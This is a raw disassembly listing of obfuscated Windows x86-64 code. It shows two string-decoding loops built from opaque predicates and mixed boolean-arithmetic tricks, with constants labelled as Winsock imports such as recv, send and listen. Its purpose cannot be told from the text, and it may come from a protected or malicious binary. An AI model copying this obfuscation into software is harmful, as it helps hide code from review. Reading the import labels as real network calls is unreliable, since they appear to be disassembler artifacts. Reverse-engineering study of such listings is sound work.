cmp rbx, rax
je 0x14004a340
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a31d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a302
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a2e7
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004a068
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004a049
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004a020
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049ffd
lea rcx, [r8 + 0x10]
cmp rbx, rcx
je 0x140049fe2
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140049fc5
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140049fa5
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140049f86
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140049f69
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049f3d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140049b20
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14004a4b6
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x14004a499
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140049d04
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
jb 0x140049ce9
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140049cce
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140049ef4
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140049eab
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140049e6f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140049e4b
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140049b20
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140049e1f
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140049e02
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140049de7
lea rcx, [r8 + 0x2a]
cmp rbx, rcx
ja 0x140049dc7
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140049da7
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140049d8c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140049d69
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140049d40
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140049d21
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140049b20
mov rbx, rcx
lea r8, [rcx + 0x5a]
jmp 0x140049b20
lea ecx, [r9 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
jmp 0x140049b11
lea ecx, [r9 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
jmp 0x140049ab3
add r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x43
jmp 0x140049a56
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a372
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140049a43
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
dec r11
inc r11
jmp 0x140049a43
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x14004a3b6
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004a3d5
sub r9b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004a3d8
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14004a40a
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
jmp 0x14004a434
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
sub r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec dil
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x140049a43
lea ecx, [r9 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
cmp r8, 0x20
jb 0x140049e62
lea ecx, [r9 - 0x52]
movzx eax, cl
and al, r10b
mov edx, 0x1f
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14004a372
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
cmp rbx, 9
jae 0x14004a2b3
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14004a1d8
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049e85
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x14004a2d1
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14004a135
lea ecx, [r9 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
jmp 0x140049ec1
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x14004a434
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a40a
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004a3d8
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x14004a3d5
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14004a3b6
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
dec r11
inc r11
jmp 0x140049a43
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140049a43
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a372
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14004a08c
lea ecx, [r9 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
jmp 0x140049f0a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a0c1
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a0e9
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a40a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004a10d
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x14004a3b6
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140049f0a
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x14004a372
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a159
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x14004a372
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a17f
sub r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
jmp 0x14004a3d5
cmp rbx, rcx
jne 0x14004a19f
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
jmp 0x14004a40a
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140049ec1
add r9b, 0x43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a210
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a236
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x14004a434
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a25f
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004a3d5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a287
lea edx, [r9 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a3b6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049e85
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a372
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004a3b6
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x2e]
jmp 0x14004a40a
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
jmp 0x14004a40a
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
jmp 0x14004a3b6
sub r9b, 0x61
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x59
dec r11
inc r11
jmp 0x140049a43
lea ecx, [r9 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x13
jmp 0x14004a372
movzx r9d, r11b
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
add r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5d
add r9b, r10b
mov byte [rbp + r11 + 0x50], r9b
inc r8
dec r11
inc r11
jmp 0x140049a43
movzx r9d, r11b
lea ecx, [r9 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x21
add r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x6d
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x50], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140049a43
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3d
movzx r9d, r11b
sub r9b, 0x51
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x37
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, cl
mov byte [rbp + r11 + 0x50], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x2f
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140049a43
sub r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x79
jmp 0x140049a40
sub r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x51
jmp 0x140049a30
lea rdx, [rbp + 0x174e20c]
jmp 0x14004a4e9
lea rdx, [rbp + 0xeb24d9]
jmp 0x14004a4e9
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x270]
call fcn.140042a40
mov rsi, rax
mov byte [rbp + 0x130], 0x4b
mov byte [rbp + 0x131], 0x43
mov byte [rbp + 0x132], 0x48
mov byte [rbp + 0x133], 0x4a
mov byte [rbp + 0x134], 0x49
mov byte [rbp + 0x135], 0x40
mov byte [rbp + 0x136], 0x9c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x137], xmm0
mov qword [rbp + 0x147], rax
movabs r14, 0x98f97e35a6fae9c3
movabs r12, 0x2ed2737790dc6455
movabs r15, 0xcaec7aa0f4f0bd49
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x14004b085
movzx r10d, byte [rbp + r11 + 0x130]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14004b07c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004a5bc
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x55
jmp 0x14004a5e9
je 0x14004b011
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004af87
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004af2b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004af06
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14004b073
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14004a61a
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x14004a641
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004aebf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ae99
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ae79
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004abb2
nop
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
je 0x14004ab93
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004ab6d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004ab47
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004ab28
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004ab0b
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004aaeb
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004aacc
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14004aaaf
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004aa7d
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004a650
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14004b056
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14004b039
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14004a838
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x14004a81d
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14004a802
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x14004aa34
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x14004a9e8
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14004a9a9
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x14004a981
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14004a650
lea rbx, [r8 + 0x41]
lea r8, [rbx + 2]
lea rcx, [r8 + 0x64]
cmp rbx, rcx
ja 0x14004a952
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004a935
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14004a916
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004a8f9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004a8dc
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004a8bd
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004a89a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14004a874
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004a855
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004a650
mov rbx, rcx
lea r8, [rcx + 3]
jmp 0x14004a650
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x14004a641
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
jmp 0x14004a5f0
sub r9b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2d
jmp 0x14004a590
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004aed9
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
inc r8
dec r11
inc r11
jmp 0x14004a573
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
dec r11
inc r11
jmp 0x14004a573
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004af49
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14004af6b
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
jmp 0x14004af6e
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004af9d
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x14004afca
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x31
mov byte [rbp + r11 + 0x130], dil
inc r11
jmp 0x14004a573
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp r8, 0x1000
jb 0x14004a999
lea edx, [r9 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14004aed9
lea ecx, [r9 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
cmp rbx, 0x400
jae 0x14004ae3c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14004ad61
lea edx, [r9 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3a
add dil, dl
jmp 0x14004a9bf
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14004ae57
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14004acc0
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x14004a9fe
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x14004afca
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004af9d
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004af6e
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x14004af6b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004af49
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004a573
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14004a573
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004aed9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14004abd9
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14004aa4a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ac14
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ac3d
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004afca
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004ac66
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004af6b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ac98
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004a573
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004aa4a
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14004aed9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ace4
lea ecx, [r9 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
jmp 0x14004aed9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ad10
add r9b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
dec r11
inc r11
jmp 0x14004a573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ad35
lea edx, [r9 - 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x17
jmp 0x14004af46
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004a9fe
lea edx, [r9 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
add dil, dl
jmp 0x14004af9d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ad9c
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004adc5
sub r9b, 0x72
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004af6e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004adee
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004af6b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004ae13
lea edx, [r9 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x36
jmp 0x14004af46
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a9bf
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x34
jmp 0x14004aed6
lea edx, [r9 + 0x38]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
jmp 0x14004af46
lea edx, [r9 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x32
add dil, dl
jmp 0x14004af9d
add r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x49
add dil, r9b
jmp 0x14004afca
add r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4d
inc r8
dec r11
inc r11
jmp 0x14004a573
lea edx, [r9 - 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x5d
add dil, dl
add r9b, 0x75
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x33
add r10b, r9b
mov byte [rbp + r11 + 0x130], r10b
inc r8
dec r11
inc r11
jmp 0x14004a573
lea ecx, [r11 - 0xd]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x5b
inc r8
dec r11
inc r11
jmp 0x14004a573
movzx r9d, r11b
lea edx, [r9 - 0x19]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x51
add dil, dl
sub r9b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x23
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x130], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
